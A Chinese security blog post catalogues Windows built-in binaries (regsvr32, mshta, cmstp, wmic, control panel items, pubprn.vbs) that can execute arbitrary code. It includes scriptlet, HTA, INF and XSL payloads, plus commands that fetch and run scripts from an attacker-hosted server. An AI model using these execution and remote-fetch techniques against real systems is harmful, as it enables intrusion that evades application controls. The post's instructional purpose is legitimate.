freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows代码执行
2023-03-08 22:19:32
所属地 重庆

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

Regsvr\32

Regsvr\32 是一个命令行实用工具,用于注册和取消注册 OLE 控件,如在 Windows 注册表中的 DLL 和 ActiveX 控件。

注意:

  • 64 位版本是 %systemroot%\System32\regsvr\32.exe

  • 32 位版本是 %systemroot%\SysWoW64\regsvr\32.exe

regsvr\32.exe /u /n /s /i:a.png scrobj.dll

将下面文件另存为任意后缀的文件,但是文件内容格式必须要为xml格式

<?XMLversion="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}">
<scriptlanguage="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("cmd /k ipconfig");
]]>
</script>
</registration>
</scriptlet>


MSHTA

mshta.exe是微软Windows操作系统相关程序,其支持执行两种格式的文件.hat、.sct。

执行.hta后缀的文件

mshta http://192.168.235.128/test.hta
<html>
<head>
<scriptlanguage="VBScript">
SubRunProgram
SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"calc.exe"
EndSub
RunProgram()
</script>
</head>
<body>
Nothing to see here..
</body>
</html>


执行.sct后缀文件

也可以嵌入jscript,但是需要将文件后缀命名为.sct后缀

mshta.exe javascript:a=(GetObject("script:http://192.168.235.128/test.sct")).Exec();close();
<?XMLversion="1.0"?>
<scriptlet>
<registrationdescription="Desc"progid="Progid"version="0"classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
<methodname="Exec"></method>
</public>

<scriptlanguage="JScript">
<![CDATA[
functionExec() {
varr=newActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>


MSF中有相应的模块,可以利用上线

利用MSF中的exploit/windows/misc/hta_server模块


控制面板项

控制面板项是注册的一个可执行的文件(exe、cpl),其中cpl文件其实就是.dll文件给他重命名为.cpl文。通过创建.dll文件并将其命名为.cpl扩展名,创建一个控制面板项,此文件导出了CPlApplet函数。

控制面板项可以执行我们想要执行的系统命令,我们可以通过如下方式执行命令:

  • 双击

  • 通过control.exe文件

  • 使用导出函数Control_RunDLL执行

我们编写一个简单的demo程序,将生产的.dll文件重命名为.cpl文件

#include <Windows.h>


BOOLAPIENTRYDllMain(HMODULEhModule,
DWORDul_reason_for_call,
LPVOIDlpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
{
MessageBoxW(NULL, L"This is a test", L"Test", 0);
break;
}
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}

直接双击运行

其调用的是导出函数Control_RunDLL

control.exe


我们可以看见,其调用的也是导出函数Control_RunDLL


Control_RunDLL

rundll32.exe Shell32.dll,Control_RunDLL "D:\1\cpl.cpl"


参考:

https://learn.microsoft.com/zh-cn/windows/win32/shell/using-cplapplet

CMSTP

我们可以创建一个.inf文件,然后利用cmstp来执行文件中的恶意程序。

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
C:\windows\system32\calc.exe

[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"

如果路径过长,那么需要用单引号进行包裹

cmstp.exe /s /ns D:\1\test.inf


我们也可以调用dll文件进行执行

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
D:\1\cpl.dll

[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"



WMIC

WMIC是WMI的扩展,提供了从命令行接口和批命令脚本执行系统管理的支持,实际上就是命令行管理工具。在内网横向移动较为是常见的方法。

我们同样可以利用其执行一些命令、运行我们的程序

wmic process call create "calc.exe"


我们也可以编写一个.xsl后缀的文件,包含 jscript 有效负载

<?xmlversion='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<outputmethod="text"/>
<ms:scriptimplements-prefix="user"language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]></ms:script>
</stylesheet>
wmic os get/FORMAT:"test.xsl"


参考文章:

https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/wmic

PowerShdll.dll

我们可以不直接启动Powershell.exe,我们可以利用PowerShdll.dll来启动一个Powershell进程(这个没什么好介绍的)

rundll32.exe PowerShdll.dll,main


pubprn.vbs

pubprn.vbs是Windows自带的vbs脚本,因此其存在数字签名,默认位置在C:\Windows\System32\Printing_Admin_Scripts\en-US


我们可以利用此来执行命令、程序,如下我们执行calc.exe程序

<?XMLversion="1.0"?>
<scriptlet>

<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
</registration>

<scriptlanguage="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>

</scriptlet>

将其后缀命名为.sct文件,然后攻击机开启Web服务,即可执行

cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.235.128/test.sct

参考:

https://www.ired.team/offensive-security/code-execution



# 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录